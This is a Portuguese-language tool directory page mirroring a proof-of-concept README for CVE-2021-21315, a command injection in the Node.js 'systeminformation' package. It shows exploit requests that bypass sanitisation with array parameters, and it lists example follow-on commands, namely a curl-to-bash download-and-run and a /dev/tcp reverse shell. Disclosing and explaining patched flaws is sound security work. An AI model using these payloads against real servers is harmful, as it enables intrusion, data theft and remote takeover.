Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/forbiddenprogrammer/cve-2021-21315-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubforbiddenprogrammer/cve-2021-21315-poc

CVE-2021-21315-PoC

CVE 2021-21315 PoC

Ver Repositório
160252há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-21315-systeminformation

Este é um Prova de Conceito para CVE-2021-21315 que afeta a System Information Library para Node.JS (pacote npm "systeminformation"). npmjs.com/systeminformation

"certifique-se de verificar ou sanitizar parâmetros de serviço que são passados para si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... permita apenas strings, rejeite quaisquer arrays. A sanitização de strings funciona conforme esperado."

Por ser uma vulnerabilidade não bem explicada (na minha opinião), decidi codificar um pequeno aplicativo baseado na versão vulnerável do systeminformation. O PoC contém:

  1. Aplicativo de teste feito em Node.js, usando express e systeminformation vulnerável
  2. Payload de teste simples para criar um arquivo .txt na máquina afetada

Passos para reproduzir:

  1. Execute o aplicativo em um ambiente de servidor Linux
  2. Faça uma requisição GET para site.com/api/getServices?name=nginx (nginx é apenas um exemplo) obraz
  3. Agora tente enviar uma requisição como esta: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

Isso falhará, devido à sanitização de strings: obraz

Como dito nos detalhes da CVE "a sanitização funciona conforme esperado, rejeite quaisquer arrays [...]"

  1. Agora tente enviar uma requisição: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz Desta vez, se você observar o valor de "name", ele não foi sanitizado - sucesso! Vamos ver se o comando foi executado
Baixar ferramenta

obraz

Sucesso! Nosso comando foi executado. Claro que ninguém se importa com "pwn.txt", mas um atacante potencial pode:

  1. Fazer upload de arquivos internos, como index.js (core da nossa aplicação, com possíveis chaves de API, string de conexão com o banco de dados e outros) ou outros
  2. Baixar e executar scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Matar processos (você pode matar também nossa aplicação de teste node)
  5. Coisas ainda mais perigosas....

"Injeção de comando" soa inocente, mas pode ter um enorme impacto se certas condições forem atendidas

O problema foi corrigido na versão 5.3.1 do "systeminformation" Créditos para https://www.huntr.dev/users/EffectRenan (Ele encontrou a vulnerabilidade, porém na minha opinião, seu "Poc" não mostrou o impacto no mundo real)

Além disso, não hesite em usar este PoC em alguns CTFs, mas seria legal se você desse crédito ao autor da descoberta - EffectRean e ao criador do PoC - eu, valeu!

Aviso Legal

Este projeto pode ser usado apenas para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.